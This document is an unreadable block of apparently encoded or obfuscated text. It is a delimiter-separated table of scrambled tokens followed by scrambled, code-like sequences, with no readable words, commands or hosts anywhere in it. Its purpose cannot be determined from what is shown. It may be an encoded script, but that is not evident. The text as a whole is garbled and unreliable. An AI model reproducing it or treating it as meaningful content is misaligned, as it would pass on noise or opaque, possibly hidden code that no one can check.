HCHA2RKAHCH/332KRYRYJ^	SYHCH/332KRYRYJ^	SY0AP*HCHRY!33K2YHCH*0J	HCH	AA2	J!HCH//E	^^HCH	A^	SYHCH	AV	2/9SYHCH^	SY!Y2;KJ2YJ2AHCH^R 9!KR9FS	 &.&192J2HCH^R 9!KR9FS	 &.&192J2HCH	A//EHCH	2YFAHCHA;,2^/	SHCH ]E^RS1^;&\ B]A1HCHVR;SY/A;,Y33SY,KKHCH2'1KRS', B33FCAASHCHA;;KJ!33/HFCGH	JB/S	/2YHCH*R,RHCHY/^/	SYHCH9FHCH7?$5)X6NOHCH7?$5)N5OHCHRY!YRS/;YHCH007?$5)X6NO-/D'DCD*3HOHCH=700*007?$5)N5O0&700AHCH?$5(5)5HCH-7023H	^0A00AY^	JY0A00A-G3H?$5(5)5-G3H0A0=0A0=0AY233J0A4->00J3HHCH?$5HCHF_HCHA;S/A2^Y2;,2AHCH92RSF	AA	J!HCHA2SYJHCH9HCH9HCH;/J/E/F^/	SHCH9HCH!Y2KR2	KJHCHT@$(N)N56ZHCHVRD;KJ2YJ2HCH2,YFYAHCHA2ESYA,YY2HCH^33J;2	KJY	A2AHCH2,BHCH	A^	SYHCH	A^	SYHCH^	SYA	'YHCH2,YFYHCHB/J	A,YA2KYHCHA;2,Y/HCH2	FYHCH7?$)X6NOHCH7?$)N5OHCH?$HCHA339A2HCH2,YFY2RSF	AA	J!HCHRY!YRS/;YHCH^KRYJHCH^SK;HCH^	SY!Y2;KJ2YJ2AHCHY/^/	SYHCH*9/HCH.&2_E./,\9K.'^EHCH00?$5-/D^CD3H%00J->0J3HMHCH?$5HCH	AA2	J!HCHKR,/JHFCGH^	SY!Y2;KJ2YJ2AHCH	AA2	J!HCHQR,R7HCHA2RKAHCH2,YFYHCH^33J;2	KJY	A2AHCH2,YFYHCHA;YFR2EHCH	R;,	BYHCH33RSK/AHCH/2YHCHIFHCH	A	HCH	A	HCH	A	HCH	R;,	BYHCH^33J;2	KJY	A2AHCH2'1KRS', B33FCAASHCH2	FYHCH,K33SEHCHA;;KJ!33/HCH;KJAY233RHCHS.1]/^1.1J;^A	^A	9HCH^33J;2	KJY	A2AHCH*!SHCH	A^	SYHCH^	SYA	'YHCH	A^	SYHCH^	SY!Y2;KJ2YJ2AHCHF_^	SYHCHA;!33/HCH;KJ!33/HCH*R,RHCH,,.EE/,33.1S]_HCHKR2HCHA2SYJHCH9/AY\1Y;KYHCHA;	JB/S	HCHRS33!	JAHCH^	SY!Y2;KJ2YJ2AHCHA339A2HCH^33J;2	KJY	A2AHCH33R/2YKR2	KJHCH	J//EHCHA339A2HCH;KJY;HCH	JA2HCH	A^	SYHCH^	SYA	'YHCH@&*&71C17NK27
K33JHFCGH!Y2KR2	KJHCH^33J;2	KJY	A2AHCHA;AVYR,	2AHCHJKHCHA;AVYRS/A2HCHA2SYJHCH>0AO08008008B/78SY278;KJA278^33J;2	KJ78AYS^0*=HCH>-D/D'CD%0P00J3H%MHCHA2SYJHCH$KJ2YJ2DERYO7/RRS	;/2	KJ /B/A;	R2HCH?YB	;YDTKYDSSKVYO7HCH@&*&7C17NK7$KJ2YJ2HCH@6
N(N)W$HCH@&*&7 C17NK27WK	^	YHCH)/!O7HCH?YB	;YDTKYDSSKVYO7HCH$/;,YD$KJ2KSO7JKD;/;,YHCHAVYRHCHA;BY	^EHCHA;BY	^EHCH	AA2	J!HCH,KFY33SHCH@(?HCHO0%MHCH8BY	^EHCHA2YRY/2HCHA;AYF/J2	;RK9Y8HCH$KJ2YJ2DERYO72Y2RS/	JHCH$/;,YD$KJ2KSO7JKDA2KYHCH?$?)WOHCH?$?)W
6HCHBY	^EYRHCH^33J;2	KJY	A2AHCHK;Y2;SY/JKF/	JHCH^33J;2	KJY	A2AHCHV 2;^S33A,/SSHCH^33J;2	KJY	A2AHCHS	2YARYYR33!Y/SSHCH	2Y?RYY$/;,Y@6HCHFY2,KY	A2AHCH	2Y?RYY$/;,Y@6HCHR33!Y/SSHCHYY'Y@33!Y$/;,YHCHFY2,KY	A2AHCH9YY'Y;/;,Y^S33A,HCH$/;,Y)J/9SYHCH$/;,Y)J/9SYHCH;SY/2K2/S;/;,YHCH^33J;2	KJY	A2AHCHVR^;;SY//SS;/;,YHFCGHVR^/A2YA2;/;,YHCH	AK9 Y;2HCHVR^/A2YA2;/;,YHCHYSY2Y$/;,YHCHVR;/;,Y;SY/;/;,YHCH/332KR2	F	'Y$/;,YHCH/332KR2	F	'Y$/;,YHCH;SY//SSHCH;/;,YHCHR33!YKJ A;,/J!YHCHVRK	J!/ /HCHZ)?Z)[:)?HCHWZ@$Z)[:)?HCH^33J;2	KJY	A2AHCH	A^YYHCH	AK9K2AHCH	AA	2YF/RAHCH	A;33A2KF	'YRYB	YVHCHYSYFYJ2KDRYB	YVHCH;33A2KF	'Y;,/J!YAY23333	HCH^S933	SYHCHQA;	R2HCHQ0A;	R2HCH^33J;2	KJY	A2AHCH,KFY33SHCHF_HCH^33J;2	KJY	A2AHCH33R/2YKR2	KJHCHA; AR	J2JK2YHCH AHCHQ9KE+HCHQ,2FSHCHA339A2HCHA; AK9HCHA; AK9HCHK9A2/2HCH/ __\E  	_,33HCH AK9HCHR/!YJKVHCH^33J;2	KJY	A2AHCH	AAASHCH9	J,YHCHA;AV,/HCHJKHCHA;AVS/A233SHCHQA;	R27/2/DA;DHCHB/7P^33J;2	KJ,=LB/7PGG	4^K	PC4	Q,*SYJ!2,4	%P=%P?2	J!*^KF$,/$KYR/AY6J2,*A339A2	=&\==4Y233J7UHCHAVPJ/B	!/2K-GHCHAYB	;YTKYHCHG=3HHFCGHS33PHCH	^AV=AV-GHCH!Y2ZY!	A2/2	KJAHCHG=3H=*2,YJ^33J;2	KJA=LA*^K)/;,^33J;2	KJ=LB/7FP#S334HCH	^#F=-GHCH/;2	BYHCHG=GHCHV/	2	J!HCH	JA2/SS	J!HCHG=3H*^K)/;,^33J;2	KJ=L	^-3H-3H-GHCHA;	R2:ZHCHG=3HPPPS33=FP&U=4HCH	^F=-GHCH33JY!	A2YHCHG=3H=U=U=-GHCH;/2;,HCHG=3H^33J;2	KJ=LU=HCHQA;	R2+HCH,22RAOHCHA2RKAHCHS2	FHCH33R/2YKR2	KJHCHB/7P^33J;2	KJ,=LB/7PGG	4^K	PC4	Q,*SYJ!2,4	%P=%P?2	J!*^KF$,/$KYR/AY6J2,*A339A2	=&\==4Y233J7UHCHAYB	;YTKYHCHG=3H4HCH	^AV=LHCHAV-GHCH!Y2ZY!	A2/2	KJHCHG=3HHCH*2,YJ^33J;2	KJ=L	^#=AV-GHCHY!	A2YHCHG=3HHCH AKJYJ;KYHCHLA;KRYOHCH AKJYJ;KYHCHU=-GHCHG=3H^33J;2	KJ=LU=U=HCH-GHCHG=3H^33J;2	KJ=LU=4HCH/)BYJ2	A2YJYHCHG=3HGHCHG=^33J;2	KJY=LHCHB/7BPY-GHCH/2/HCH	^BB*;=L2ELJYV7
33J;2	KJ/2K9B*;===U;/2;,=LUUU=4HCHY/EHCHG=3H*2,YJ^33J;2	KJ=LHCH-GHCHG=3H-GHCHRKA2WYAA/!YHFCGHG=3HL2OGGU=U=UHCHAVY!HCHAVY!HCH^	SYF2	FYHCHT@W:@:X6N56ZHCHT@@:X6N56ZHCHRS33!	JAHCH^33J;2	KJY	A2AHCH*R,RHCH!SK9HCH	A//EHCHA339A2HCH	A	HCH*R,RHCHRY!F/2;,HCH*R,RHCHAVYYRHCH^33J;2	KJY	A2AHCHKR;/;,Y	JB/S	/2YHCH*AHCHF33DRS33!	JAHCH^33J;2	KJY	A2AHCH!Y2KR2	KJHCH	J/FYHCH	J//EHCH*9/HCH	A^	SYHCH^	SYF2	FYHCHYRSKYHCH^	SY!Y2;KJ2YJ2AHCH^	SYA	'YHCH33JS	JHCH^	SYR332;KJ2YJ2AHCH^33J;2	KJY	A2AHCHA339A2HCHA;9KK2BYHCH+PHCH?$$(Z)((?Z@@)5HCH?$$(Z)((?Z@@)5HCHRY!F/2;,HCH+PHCH^	SYA	'YHCH?$$(Z)((?Z@@)5HCH?$$(Z)((")ZHCH^33J;2	KJY	A2AHCH!E1 AYS]RRAJVF2'&&]HCHE'33B	&F'CE1V!HCH	A	HCHA22KSKVYHCHR/2,	J^KHFCGHR,RHCH  & CKJJ	F,K_HCHA;RS33!	J33SYAHCHA; AHCH^33J;2	KJY	A2AHCH	',B/\!EC	C_2	__9HCH33	,]9FC	'_1!,AR,_HCH	J/FYHCH	A^	SYHCH	J/FYHCH*92HCH*K;^HCH	J	2HCHB_B!AK9/S1J9_YJV	KHCH	J	2HCHRV.33 ./2'Y.1CE _HCHSK/DRS33!	JA*R,RHCHB_B!AK9/S1J9_YJV	KHCH/F	J	J	2HCH,E, ,.& 	!& _/HCH/F	J	J	2HCHV9^!JE^/; VYE9C2KHCH'1]'VA_ \9\E.J'^&.HCHVR_YRF'&R29C^ J	HCHVR^FYS^	JY;KJJY;2KKR2AHCH 1,_;\C'; 9SKYHCHVR^	SYF/J/!Y;KJJY;2KKR2AHCHYS^	JY;KJJY;2KKR2AHCH^	SYF/J/!Y;KJJY;2KKR2AHCH/332,YJ2	;/2YHCHYY\R,2F^\_S\\/2C,HCHC_K_\\RE^HCHRY33AY33YEHCHV^E/9]'  C /J&9Y'HCHYA233AY33YEHCHSKK;, SC21''HCHB	YVA33AYAHCHSV2,9S//FEHCHY933!	J^KF/2	KJHCH9]SY'1		1V;\A\_	&;VHCHA,KV/B/J;YRS33!	JAHCH;!A AA.Y33HCH/F	J,Y/DRS33!	JA*R,RHCH'K_ ]91C1, C	_A\HCHA	2Y2/JA	YJ233R/2YRS33!	JAHCH/SSRS33!	JAHCHF;K'_\,F,_E]33HCHVR/ /F^	SY^KSYF/J/!YHCHFC !SF!E33ES33R/HCHVR/ /;KJJY;2KHFCGHVR/ /^A;KJJY;2KHCHVR^KK2YHCHE AY1233	&E9339A;SHCH2YFRS/2YY	Y;2HCHR;\'^,\\CRHCH/F	J^KK2YHCH,J\^ 19\1VARV!HCHSK!	J^KK2YHCH,J\^ 19\1VARV!HCHBKFJ;1\CR2 HCHB/BV2	21,	12S9R/]HCHR\C!;R]]\33'^/33Y\YHCHYJ 	33_CJ1^1 K',E/.HCHE'_V33R\.A_33_\.HCHB2\C &RBV33HCHRS33!	JASK/YHCHBJBE		R\FVREHCHR &]E ,C2_SE YEFHCHRS33!	JASK/YHCH9 Y &R!/	22!1J,\A] HCHKE	SY!V 1\!S;AHCH3319_&!BJC2YSHCHY!	A2YA,332KVJ^33J;2	KJHCHY!	A2YA,332KVJ^33J;2	KJHCH?@HCH^33J;2	KJY	A2AHCHFJ_CJ]33KE9&!1SHCH2'1KRS', B33FCAASHCH^&VE \33!/33.AAHCHA&9BK^B KY^ACJY HCH33R/2YKR2	KJHCHA;S/A2Y;KBYE;,Y;HCH2	FYHCH'.RS33AJ]&!HCH;KJA;,Y33SYAHCH AA1KB'E,!JEHCH^33J;2	KJY	A2AHFFT
OK4K2T	 OV[^_GKFK
R
\X\XGKFTK	RH.-<?HAH;'HAH0
HAH [HAHA\HAH]HAHHAH8HAH#:(&HAH!+="HAH@BHAHHAH, *HAH33RHAH	HAHEO9UHAHGDFHAH)>$3HHAHC_SHAHPQVHAHXZ^WHAHY76HAH5HAHTM4HAH2HAHIN1HAHKL%JHAH/HTKRHHAH?@HAHAHAH;BHAHYHAHK1HAH* HAHRS33HAH!	HAHJ9/FHAHTHAH:XHAH6N5HAHZWHAHDHAH,2HAHE$HAH()V0HAHP^HAH7HAH"O%HAH=
[HAHHAHCQHAH'+HAH._&HAH]\HAHI HAH4LGHAH-U3HHAH#8>HAHMHAH<HTKRMMT	 GKR_TKS
GK
FTKDDFKR GKCK
4K2FTKARGKRRR	
FPK
4K2UK	4K2T
OKT	 O]X_	GKF
OV[^_GKFT	 OWZ XGKFKRKD_T
OV[^_GKFT	 O_GKFKRGFKT
OV[^_GKFTeeeeOOOeOOOOOO
	
G_G_FFOOOO OOOO
TeOOOe	 OOOV	_00YGFeOOOeeeO
OO
GK(# -.#<4V[^_G^F2FOPOK(# -.#<4WZ XG]F2OOUOOWZ XG\FTeOOOOOOOeO	 OO []]^
 XGFeOOOeeOOOO
OO00)&#*00TeOOOe	 O]0^_[GFeOe
OOO]X_	G[FG []]^
 XGFFTeOOOOOOOeeeOOOO	 OO[0X[YZGFeeeeeO	OGWZ XGZFG_GYFFFOOO
OOO0

G []]^
 XGFFTeOOK^\V__OOROOO []]^
 XGFTeK0YX]_[OORO
	
G]X_	GXFFOOOPOOOO8?0?#:(&!0+&=OOUOMMTeOOOO	OOOGK0YX]_[ONRROOOOOOMMOIIOOOWZ XGWFGK^\V__COK0YX]_[FOOORRRO_FO
OOOOOV[^_GVFG_G^_FGK^\V__COOOV[^_G^^FGK0YX]_[FFCOOH@HFTeOOO
OO_G[FGV[^_G^]FGK^\V__FFOAOOOH@HOOAO]X_	G[FGK^\V__FTeOeO	 O[\
W^^WGFeOOOOOOOOeeeeOOOOOO
OWZ XG^\FG
	
GV[^_G^[FFOOOPOOOOOO8?":0?#:(&!0+&=OUOG8?0, !;*!;0+&=OOAOOWZ XG^ZFFCOH@HFTeeOOOeOOO	 O_
V
[]GFeOOeOOOOOO
O]X_	G^]FG []]^
 XGFFTeOOeeOOO	 O^GK0VV0COOOOK]_
YYYOOROOG_]^D_^FCOOKYY[][OROO	
FeOOOeOOO
OOOOOWZ XG^YFG]X_	G^XFFOPOOOO/WZ XG^WFGK0VV0COOOK]_
YYYCOOOKYY[][FOUOOOO	
TeeeeeOOOOOO	 OYXYW][GK[	0XYCOK]_
YYYFeOOOOeOO
OOOO]X_	G^YFGV[^_G^VFFOPO/V[^_G^VFGK[	0XYCOOOK]_
YYYFOOUOOOO	
TeOOOeOOOOO	 OZ	VV0GK[	0XYFeOeO
O_G^YFG_G]_FFOOPO/]X_	G]_FGK[	0XYFOOUOO	
TeOOOeO	 OO[ZX_\]VGK[	0XYCOOK[V0
YVFeOOOOeO
OOOOWZ XG]^FGWZ XG]]FFOOOOPOOO/V[^_G]]FGK[	0XYCOOOK[V0
YVFOOOUO	
Teeeee	 O^Z^V
V0GK[	0XYFeeeOeOOOKZX^^ XORO^X0\Z	]_GFTeOO
OO[ZX_\]VGK[	0XYCOOGKZX^^ XOOOOOBOOOOGKZX^^ XOOOOOJOOOGVVV\VDY^FFFODOOOOO\[[
VVGFFTeOOeOOOOO	 O 	[Y\]^ZGK0YZ YZZWCOKV_	^XFeOOOOOeOOO
OO_G]^FGWZ XG]\FFOPOO/_G][FGK0YZ YZZWCOOOOOKV_	^XFOOUO	
TeeeeOOO	 OW Y[\XGK0YZ YZZWCOOKV_	^XFeOOOe
OOOO_G]^FGWZ XG]ZFFOOPOOO/_G]ZFGK0YZ YZZWCOOOOKV_	^XFOOUO	
TeOOOOOOeOOOO	 OOOW		X[GK0VV0COK[	0XYFeOeOOOOOO
OOWZ XG]YFG]X_	G]XFFOOOPOOO/_G]WFGK0VV0COK[	0XYFOOOOOUOO	
TeOOeOO	 OOV0^GFeeeOOOeOOOOOOOOOOOOOKWVZOOROTee	OOOGKWVZOONRROOFOO
OOKWVZTeKWVZOOOOOROOWZ XG]YFG]X_	G]VFFOOOPOO]X_	G]VFGFOUOO]X_	G\_FTeO	OOOG/_G\^FGKWVZFOOIIO/]X_	G\]FGKWVZFFOOOOO
OOKWVZTeK
0_\0[ORO
	
GWZ XG\\FFOOPOO8?0, !;*!;0+&=OOOOUOOOOG
	
G]X_	G\[FFOOPOOOO.-<?.;'OOOOAOOOOOV[^_G\ZFOUOMMFTeOO	OOOOOGK
0_\0[OONRROOMMFOeOOOK^\V__OOOOOROOOOOV[^_G\YFGK
0_\0[COOOV[^_G\XFFOOOAOOOOOV[^_G\WFTeOOOO	OOGN/]X_	G\^FGK^\V__FFOOOOO/]X_	G^WFGK^\V__COGVZXB[Y[FCOO
FTeOOOO	OOG/WZ XG\VFGK^\V__FOOOOOOIIOOOO/_G\]FGK^\V__FFOOOOeeO	OG_G]YFG_G[_FFFOO/
GWZ XG[^FOAOK^\V__FTeeeeOOOK(# -.#<4]X_	G[]F2OOROO^TeOOOOOKWVZOOOOOOROK^\V__TeOOOOee
OOKWVZTeOOeO	 O	VV GFeOeOOOK0VV0OOOORO_
V
[]GFTeK]_
YYYOROO[\
W^^WGFTeOOOOO	OOOOOGK0VV0OORRROOOK]_
YYYFOOO
O
Te	OOOOG_G]YFGV[^_G[\FFFOeeKWVOROOO/V[^_G[[FGK0VV0FTeOOKWX\VX0ORO/V[^_G[[FGK]_
YYYFTeOOOO
OGKWVONRROO	
OOIIOOOKWX\VX0ONRROOOOO	
OOIIOOOOKWVOORRROOKWX\VX0FTeeeOOOOeOO
O	
TeOeOOOOOO	 OO\[[
VVGFeOOeOOOO
OG^ZZ_[\BY^]][FTeeee	 O^W_ 
0 YZGFeOOOOOOeOOOO	OOGN
	
G]X_	G\[FFFOOO
OMMTeeOOK
0_\0[OROOO
	
G_G\\FFOPO8?0, !;*!;0+&=OOUO.-<?.;'OOAOV[^_G\ZFTeeOO
OWZ XG\YFGK
0_\0[COOWZ XG\XFFOAOOOO]X_	G[ZFOOAO_G^_FGWZ XG[YFG.-<?.;'OAO_G[XFFCO_COGXD^FFOAOOWZ XG[WFOAOOOO]X_	G^_FG_G[YFG.-<?.;'OAOV[^_G[VFFCOOO_COOOOG\DZFFOAOOOV[^_GZ_FTeOeOOOOO	 OOOOOZ
GK 	X_OROOOFeOeOOOK[	0XYOOORO^W_ 
0 YZGFTeOOOOOOOO	OOOGK[	0XYOOORRROOMMFOO
OOO	
TeOO	OOOOGN_GZ^FGK 	X_FOOOOOOO_G^^FGK 	X_FOOOSOOOOOG[^VDW^FFOOOOK 	X_OROV X[GFTeOOOOOO	OOGNK 	X_OOOOON
[X
 Z]Y
GK 	X_FFOOO
OO	
TeOK0VV0OOOROOOOOOV[^_G^]FGK[	0XYFTeeeeOOOOO	OOOOOOGN/]X_	GZ]FGK0VV0FFOO^GK0VV0COOOOOG[]VDY[FCOOO
FTeO	OOGN/WZ XGZ\FGK0VV0FOOOOON/]X_	GZ[FGK0VV0FFOO
OO	
TeOOOO	OG/V[^_GZZFGK[	0XYFFOe	OOOGV[^_G[YFGXX[WZGGFOO/V[^_GZYFGK[	0XYFFFORRROV[^_GZXFGK 	X_FFOOOO
O
TeOOOK0Z]	WYOOOROOOO	[	WZ\	 YZGK[	0XYFTeOO	OOOGK0Z]	WYOONRROOOOOOIIOOOO
 0 
GK0Z]	WYCOOV	_00YGFCOHQHFFOO
OOOOO	
TeeeO
GK0Z]	WYFTeOOe	OOOOOGN]ZVGK[	0XYCOOK 	X_FFOO
O	
TeeeeYXYW][GK[	0XYCOG\[XDX\FFTeeOOOY
XGK[	0XYFTeOO
O
TeOeOOO	 OOOX	[V	YGFeOOeOOOOK 	X_OOROOOV X[GFTe	OOOGNK 	X_OOOON
[X
 Z]Y
GK 	X_FFOOO
O	
TeKZ0_
 ^OROOO_G[FG []]^
 XGFCOOWZ XGZ_FFTeOOOOK	Z V^OOOROOOV[^_G]YFG_GZWFFOPOO\\^WVV_	GFOOUOG
	
G]X_	G\\FFOOOPOOOOOO8?0, !;*!;0+&=OOOUOOMMFTeeeeOOOO	OGK	Z V^ORRROOOOMMFOOOOOO
OOOO	
TeOOOK0YX]_[OOOROK	Z V^OAOOV[^_GZVFOOOOAOOOKZ0_
 ^TeOOOOOOK 	OOOROOK0YX]_[OAOOH@HOOAOOOOKZ0_
 ^OAO]X_	GZ_FTeOOOOOKYZ0OOROOO	
TeOOO	OG_G]YFG_GY_FFFOOeK
 W0]VOOOOOORO/_GY_FGK 	FTeeeOKY\VOOOOROO/WZ XGY_FG []]^
 XGFFTeeeOOKYZ0OOROOOOGWZ XGZ^FGK
 W0]VFOIIOOWZ XGZ^FGKY\VFOOOIIOOOOOOK
 W0]VORRROOOOOOKY\VFTeOeO	OOOGNKYZ0FOOeOOO	OOOOGN/_GY^FGK0YX]_[FFOOO^GK0YX]_[COOOOOGY^_B^^XFCOO
FTeOOOOOOO	OOOOOGN/]X_	GY]FGK0YX]_[FOOOOON/]X_	GY\FGK0YX]_[FFOOOO
OO	
TeeOOO	OOOGN/_GZZFGK 	FOOO_GY[FGXX[WZGGFO/]X_	GZYFGK 	FFFOONRROOOV[^_GY[FGK 	X_FFOOOOOeOO	OOOOOG/V[^_GYZFGK 	FFOOeK0Z]	WYOOOOROOO	[	WZ\	 YZGK 	FTeO	OOGK0Z]	WYOOOOONRROOOOOOOIIOOOOO
 0 
GK0Z]	WYCOV	_00YGFCOOOHQHFFO
OO	
TeOO
GK0Z]	WYFTeeeeOOOOOeO	OOOOOGN]ZVGK 	COO  	
_0VGK 	X_FFFOOOOO
O	
TeOOOYXYW][GK 	COG[^WD]FFTeOO^Z^V
V0GK 	FTeOOOOOOY
XGK 	FTeOOOOOOeOeOOOOO	OOOGWZ XG]YFG_GYYFFOOIIOOOV[^_GYXFGWZ XGYWFFFOOeeeeOOK0
0
XXOOOOROOKZ0_
 ^OAOH@HOAOOKZ0_
 ^OAOO]X_	GZ_FTeOOOK
 Z_ _OOOOROO
0  G_GYVFCOOGFFTeOO	OGN_GX_FGK
 Z_ _FFOOOK
 Z_ _OROOOOOGFTe	OOOOOGN]X_	GX^FGK0
0
XXCOOOOOK
 Z_ _CO
FFOeOOOOOK
 Z_ _42OOROOK0
0
XXTeO
0  G_GYVFCO]X_	GX]FGK
 Z_ _FFTeeOeeeOOOO
OO
TeeO	 OOO	[	WZ\	 YZGK[	0XYFeOOeeeeK_]Z]OOOOOORO/_GZYFGK[	0XYCOO	
COCOOO_COG_\][D_FFTeeeO	OOGNWZ XGX\FGK_]Z]FFOOO
OOTe	OGV[^_GX[FGV[^_GXZFCOOK_]Z]COK]_
YYYFFOOOOO
OK]_
YYY4^2Te
OOOTeeeOOOOeeeOOOOOe	 OYZX_
WYGKW
\COOOKVWV[\FeeeeOOOeOO/

G
COKW
\FTeOOOeOOK[[_XZWOROOOO/]X_	GXYFGKW
\FTeO	OOGNK[[_XZWOOOOOOOGK[[_XZWOJOOG^_XWY]BXWY]FFONRROO\[[
VVGFFOOOOOOeO
OOOOO	
TeeeOeOOeOOOOKZ	0OROOO/V[^_GXXFGKW
\FTeOOOOOO
OOKZ	0OOIIOOOOKZ	0OOQROOOKVWV[\TeeOOeOOOOO	 OOOOZ0WVW V 
[GFeeOOOeO
OOG\ZV^VDW^FTeOOe	 OOOX X[Y\Y]GFeOOeOOOO
OO_GXWFTeeeeOOeOOOOOOOO	 OO	[\Y
GFeeOOOOOO
OOOV[^_GXVFTeOeOO	 OO[\0WV0	GFeOOOeOO	OOOOG_GYXFG_GW_FFFOOO
OOOOO
TeeeOOOOOOO	OOOGY^Z[GFFOOO
OO
TeOKY  
0\[ OROO
GK0<*=9*=4_GW^F2FOOOOPOOOOV[^_GW]FGGFOK0<*=9*=4]X_	GW^F2FOOUOOOOMMTeOOO	OOOOGKY  
0\[ OONRROOMMOOOOIIOOGV[^_GWFGKY  
0\[ CO]X_	GW\FFOOONRRO	
OOO_GWFGKY  
0\[ COO]X_	GW[FFOONRROO	
OOOOO]X_	GWFGKY  
0\[ COO_GWZFFONRRO	
FFOOOOO
OOO
TeOOOOO	OOOOGKY  
0\[ ORRROMMOOIIOOOO]X_	GWYFGFONRROOO_GWXFOIIOO
GK0<*=9*=4V[^_GWWF2FFOOOOOO
O
TeeeeOOOOO
O	
TeOOOeOO	 OOOY^Z[GFeOeOOKY  
0\[ ORO
GK0<*=9*=4_GW^F2FOOPOOK0<*=9*=4]X_	GWVF2OUOOMMTeOOO
OOOOOWZ XGX\FGKY  
0\[ FOOIIOO GKY  
0\[ COOOOOWZ XGW[FFOONRROO	
TeOOee	 OOO[]Z

YY0GK
]0V	W[FeOOOOeeKOOROO_GYXFG]X_	GV_FFOOOPOOOO/WZ XGV_FG_GV^FFOUOO	
TeOO	OOOOGNKOOOOKORRROOOMMFOOOOOO
O
TeeOKYYX
]OOROOO/_GY_FGK
]0V	W[FTeOOOOOO	OOGNKYYX
]FOKYYX
]OOROK
]0V	W[Te	 
OG]X_	GV]FG?.;'0<*?.=.; =COOOOOOKFOOOOOOOK_Z00[FOOOOeOOK_Z00[OOOROOOO]X_	G\YFGK_Z00[COOOV[^_GV\FFTeOOOOO	OOGK_Z00[OIIOGKYYX
]OORRROK_Z00[OOOO]X_	GWFGKYYX
]COOOOK_Z00[OAOOOOO+&=*,; =60<*?.=.; =FOORRROO_FFOOO
OO
TeOOOOOe
O	
Teee	 OOZ]Z0
VGK

]  _YFeeOeOKXZY]\]OOOOROOOK

]  _YOOOOAOHHOOOAOOG
	
G]X_	GV[FFOPOOOO+-0!."*OOUOOOOOMMFOOOOAOOHHOOOOOAOOG
	
GV[^_G\[FFOPO.-<?.;'OUOOMMFTeOOOOOOO
OOOOWZ XGVZFGKXZY]\]FTeOOOOOOeOOOO	 OO
]		VY ^Z\XGK

]  _YFeOOeOOO OKTeOOO	OOGN
GK(# -.#<4_GVYF2FOOOOON]X_	GX_FGK(# -.#<4WZ XGVYF2FFOK(# -.#<4V[^_GVYF2OOOOROOGFTeOO	OOGN
GK(# -.#<4_GVYF24K

]  _Y2FFOOOOeOOOOK(# -.#<4WZ XGVYF24K

]  _Y2DDTeeOOO
OOO
TeOOOOOeeee	OOGWZ XGVXFGKFOIIOOO_GVWFGKCOWZ XGVVFFFOeeeeKYY[][OOOOORO/KBQ
0G]X_	G^__FOOAOZ]Z0
VGK

]  _YFOOOOOAOOV[^_G^_^FFTeO	OGKYY[][OORRROOOOOH^HFOOOOeOK(# -.#<4_GVYF24K

]  _Y2OOROO^TeOOOO
OOOO
TeOeeeeOOOOO	OOOOOGKYY[][OOORRROOOH_HFO
OO	
TeOe	OGWZ XGYXFGV[^_G^_]FFOOOIIOOOV[^_GYXFGV[^_G^_\FFFOeK^ OOOOOROOOOGFTe	OOOG]X_	GYXFG]X_	G]VFFFOOK^ 42OROOOV[^_G^_[FGFTe	OOOOG
	
GWZ XG\\FFFOK^ 42OOOROOOOO8?0, !;*!;0+&=TeOO	OG
	
GWZ XG\[FFFOOOOK^ 42OOROV[^_G\YFG.-<?.;'COOOOOO]X_	GV\FFTeO	 
OGK^ OOOK0VV0FOOeOOOOOO	OOGK0VV0OOORRROOMMOOON/_GY]FGK0VV0FOOOON/WZ XGY\FGK0VV0FFOOOOO 
TeOKZ
^OOOROOOO/WZ XG^_ZFGK0VV0OOOOOAOOOV[^_G^_YFOOOOAOOOOZ]Z0
VGK

]  _YFOAOOO_G^_XFCOOHHFTeO	OOGKZ
^ONRROO	
FOOeeeeOOOOO	OOGN/	 GKZ
^COO# ,$0*7OOO# ,$0!-FFOeOOOO/	 
GKZ
^FTeOOO
OOO	
TeOOeOOOOOO	OOGN
GK(# -.#<4_G^_WF2FOON_GX_FGK(# -.#<4_G^_VF2FFOOK(# -.#<4WZ XG^^_F2OOOROGFTeOOOK(# -.#<4WZ XG^^_F24K

]  _Y2OROOOOOOKZ
^TeOK(# -.#<4V[^_GVYF24K

]  _Y2OOOORO^TeeOOO
OO
TeOeOOeeeOOOO
OO	
TeeeeOOOOOOOeOOO	 OWY ]]V\0YGK

]  _YFeOOOeeeeOO OKTeeeeOO	OOG
GK(# -.#<4_GVYF24K

]  _Y2FFOOO
TeOOOOK(# -.#<4V[^_G^^^F24K

]  _Y2BBTeOOOOO	OOOGK(# -.#<4]X_	G^^^F24K

]  _Y2OQO_FOOOO
TeOOO
GK(# -.#<4]X_	G^^^F24K

]  _Y2FTeeeeO	OOOG
GK(# -.#<4WZ XG^^_F24K

]  _Y2FFOOOOeOOOO/	 GK(# -.#<4]X_	G^^_F24K

]  _Y2COOOO# ,$0:!FTeOOO/	 
GK(# -.#<4]X_	G^^]F24K

]  _Y2FTeeeOOOOOO
GK(# -.#<4WZ XG^^]F24K

]  _Y2FTeeOOOOO	OOOOGWZ XGVXFGKFOOIIOOOO]X_	GVWFGKCOV[^_G^^\FFFOOeOO/KBQ
GV[^_G^^[FOOOOAOOOOOZ]Z0
VGK

]  _YFOOAOOOWZ XG^^ZFFTeOeOeeeeOO	 OOO	0[[X	\
GFeOOeOOOOOO	OOOG
	
GV[^_G^^YFFOIIOOOO+&<.## 80)&#*0" +<FOOO
OO	
TeOOOOO
OO
TeOOOOeOOO	 OOOZ[^YZZGK X^VX0COOK]WFeOeOOOOOOOeOOO	OOOG
	
0
G]X_	G^^XFFOOOIIOK]WO
 	OO; 
FOOOOOeOKXXW[\OOROO_G^^WFGK X^VX0OOOAOWZ XG^^VFOAOOK]WBQ
"

GFCO_COOOOG]YWB^]FFTeOO

	OOOGK]WO
 	OOOOO*
 FOOOeKXXW[\OOOROOOO_G^^WFGK X^VX0OOOOAOOOV[^_G^]_FOAOOOK]WBQ
"

GFCO_COOG]_XD[VFFTeOOOOOO

	OOG_GX\FGK]WFOOIIO_G^^FGK]WFOOOOOQOOO_FOOOeOKXXW[\OOOOROOWZ XG^]^FGK X^VX0OOOOAOOWZ XG^]]FOAOOK]WCOOOOO_COOG][^D^ZFFTeOOOOO

OeOOO
Tee	OOOOOOGN
GK(# -.#<4WZ XG^]\F2FFOOK(# -.#<4]X_	G^][F2OROOGFTe	OOOGN]X_	GX^FGKXXW[\COK(# -.#<4]X_	G^]ZF2COO
FFOOOOOOeeeeK(# -.#<4V[^_G^]YF242OROKXXW[\TeOeOOO	OOOOGV[^_G^]XFGK(# -.#<4_G^]YF2FOOQOOOOG_]YD_FFOeK(# -.#<4V[^_G^]YF2OROV[^_G^]WFGK(# -.#<4]X_	G^]YF2COBG^]D\WFFTeeOOOOOOOOOG; 
OOK
